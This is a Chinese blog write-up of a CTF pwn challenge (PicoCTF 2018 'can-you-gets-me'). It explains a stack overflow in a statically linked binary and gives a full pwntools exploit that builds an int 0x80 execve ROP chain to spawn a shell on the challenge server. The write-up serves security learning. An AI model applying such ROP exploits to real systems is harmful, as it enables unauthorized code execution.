Loading... <!-- wp:paragraph --> <p>这道题目是比较简单的,但是如果不仔细看的话就会出大事。</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":601,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/QQ截图20201124134653.png" alt="" class="wp-image-601"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>先检查一下安全措施,可能会注意到使用的命令有变化,这是以为我用的是最新版的checksec,多出了很多我看不懂得安全措施。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>我们看到只开了NX。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>然后看一下代码,文件非常的大,但是核心函数只有一个vuln</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":602,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/QQ截图20201124134537.png" alt="" class="wp-image-602"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>自然的我们想到这里有栈溢出漏洞,然后文件里面没有现成的execve或system。比较自然的想法是泄露gets和puts的got表通过libcsearcher来算出system的地址,但是把puts和gets点进去的话会发现他们是静态链接的,泄露表是不可行的,所以考虑用DynELF爆破,但这样真的可以吗?我不知道,一方面我的工具机上recv函数有问题,无法设置超时,另一方面不存在动态链接的时候应该泄露不出来libc。所以换一种方法。文件体积这么庞大,其中的gadgets非常的多,还要int 0x80让我们进入内核,这个时候就可以直接通过系统调用来实现get shell。</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>mov eax,0x0b mov ebx,offset bin_sh mov ecx,0 mov edx,0</code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p>这样的汇编代码可以执行shell,我们把它写成rop链就是</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>payload+=p32(pop_eax) payload+=p32(0x0b) payload+=p32(pop_ebx) ...</code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p>那么我们只要写入/bin/sh就可以了。在gdb里面看一下可读写的地址</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":603,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/QQ截图20201124135914.png" alt="" class="wp-image-603"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>写到这里面就可以了。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>最后的exp</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>from pwn import * #sh = process("./PicoCTF_2018_can-you-gets-me") sh = remote("node3.buuoj.cn","27497") int_addr = 0x0806cc25 pop_eax = 0x080b81c6 pop_ebx = 0x080481c9 pop_ecx = 0x080de955 pop_edx = 0x0806f02a writebleAddr = 0x80e9000 getsAddr = 0x0804F120 payload = 'a'*0x18 + 'b'*4 + p32(getsAddr) + p32(pop_eax) + p32(writebleAddr) + p32(pop_eax) + p32(0x0b) + p32(pop_ebx) + p32(writebleAddr) + p32(pop_ecx) + p32(0) + p32(pop_edx) + p32(0) + p32(int_addr) sh.recvuntil("GIVE ME YOUR NAME!") sh.sendline(payload) sh.sendline("/bin/sh\x00") sh.interactive() </code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p>这道题目是我的 wsl2 pwn的第一题,值得纪念,希望它可以持续工作下去</p> <!-- /wp:paragraph --> 最后修改:2020 年 12 月 30 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧